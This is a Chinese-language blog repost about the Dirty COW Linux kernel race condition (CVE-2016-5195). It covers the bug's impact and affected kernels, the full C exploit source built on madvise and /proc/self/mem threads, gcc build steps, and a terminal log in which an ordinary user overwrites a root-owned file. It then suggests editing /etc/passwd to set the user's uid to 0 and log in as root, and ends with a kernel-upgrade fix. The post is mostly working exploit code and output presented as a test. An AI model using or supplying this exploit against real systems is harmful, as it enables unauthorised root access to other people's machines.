生活随笔
收集整理的這篇文章主要介紹了
linux内核通用提权漏洞expliot 脏牛Dirty COW
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
0x01 漏洞簡介
Linux內核在處理內存寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有只讀內存映射。一個低權限的本地用戶能夠利用此漏洞獲取其他只讀內存映射的寫權限,有可能進一步導致提權漏洞。
CVE-2016-5195:?https://access.redhat.com/security/cve/CVE-2016-5195
0x02 漏洞危害
低權限用戶可以利用該漏洞修改只讀內存,進而執行任意代碼獲取?root權限。
0x03 影響范圍
該漏洞影響所有?Linux Kernel >= 2.6.22的版本。 2.6.22是?2007年發布的版本,也就是說這個漏洞幾乎影響?2007以后的所有版本。
0x04 漏洞測試
讀取?/proc/version?來獲取?LinuxKernel?版本:
0x05 測試代碼
[cpp]?view plaincopy print?
? ? ? ? ? ?? #include<stdio.h>?? #include<sys/mman.h>?? #include<fcntl.h>?? #include<pthread.h>?? #include<string.h>?? ?? void?*map;?? int?f;?? struct?stat?st;?? char*?name;?? ?? void?*?madviseThread(void?*arg)?? {?? ????char?*str;?? ????str?=?(char?*)?arg;?? ????int?i,?c?=?0;?? ????for?(i?=?0;?i?<?100000000;?i++)?? ????{?? ????????c?+=?madvise(map,?100,?MADV_DONTNEED);?? ????}?? ????printf("madvise?%d\n",?c);?? }?? ?? void?*?procselfmemThread(void?*arg)?? {?? ????char?*str;?? ????str?=?(char?*)?arg;?? ????int?f?=?open("/proc/self/mem",?O_RDWR);?? ????int?i,?c?=?0;?? ????for?(i?=?0;?i?<?100000000;?i++)?? ????{?? ????????lseek(f,?map,?SEEK_SET);?? ????????c?+=?write(f,?str,?strlen(str));?? ????}?? ????printf("procselfmem?%d\n",?c);?? }?? ?? int?main(int?argc,?char?*argv[])?? {?? ????if?(argc?<?3)?? ????????return?1;?? ????pthread_t?pth1,?pth2;?? ????f?=?open(argv[1],?O_RDONLY);?? ????fstat(f,?&st);?? ????name?=?argv[1];?? ????map?=?mmap(NULL,?st.st_size,?PROT_READ,?MAP_PRIVATE,?f,?0);?? ????printf("mmap?%x\n",?map);?? ????pthread_create(&pth1,?NULL,?madviseThread,?argv[1]);?? ????pthread_create(&pth2,?NULL,?procselfmemThread,?argv[2]);?? ????pthread_join(pth1,?NULL);?? ????pthread_join(pth2,?NULL);?? ????return?0;?? }??
編譯生成exp
[html]?view plaincopy print?
兩種生成方式:?? ?? 命令行編譯?? ?? gcc?main.c?-lpthread?? ?? 集成工具編譯?? ?? eclipse(luna)?+CDT?? ?? project>properties>settings>gcc?linker>?libraries?? ?? 注意Debug和Release?都同時加上參數pthread庫。?? ?? 再編譯即可成功。??
0x06 測試結果
命令
[html]?view plaincopy print?
luke@ubuntu:/tmp$?cat?test?? 5678?? luke@ubuntu:/tmp$?ls?-al?test?? -rw-r--r--?1?root?root?5?10月?21?17:17?test?? luke@ubuntu:/tmp$?id?? uid=1000(luke)?gid=1000(luke)?groups=1000(luke),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)?? luke@ubuntu:/tmp$?cat?test?? 5678?? luke@ubuntu:/tmp$?echo?1234?>test?? bash:?test:?Permission?denied?? luke@ubuntu:/tmp$?./rootEep?test?1234?? bash:?./rootEep:?No?such?file?or?directory?? luke@ubuntu:/tmp$?./rootExp?test?1234?? mmap?b7701000?? madvise?0?? procselfmem?400000000?? luke@ubuntu:/tmp$?cat?test?? 1234??
結果顯示低權限用戶修改了root用戶創建的文件內容。同理, 可以看到結果,test?文件的內容已經由5678被成功修改為1234。
這樣的話,只要修改?/etc/passwd?把當前用戶的?uid?改成?0?就可以作為?root?登錄了。
0x07 修復方案
更新升級最新 Linux Kernel 源碼,并重新編譯。
總結
以上是生活随笔為你收集整理的linux内核通用提权漏洞expliot 脏牛Dirty COW的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。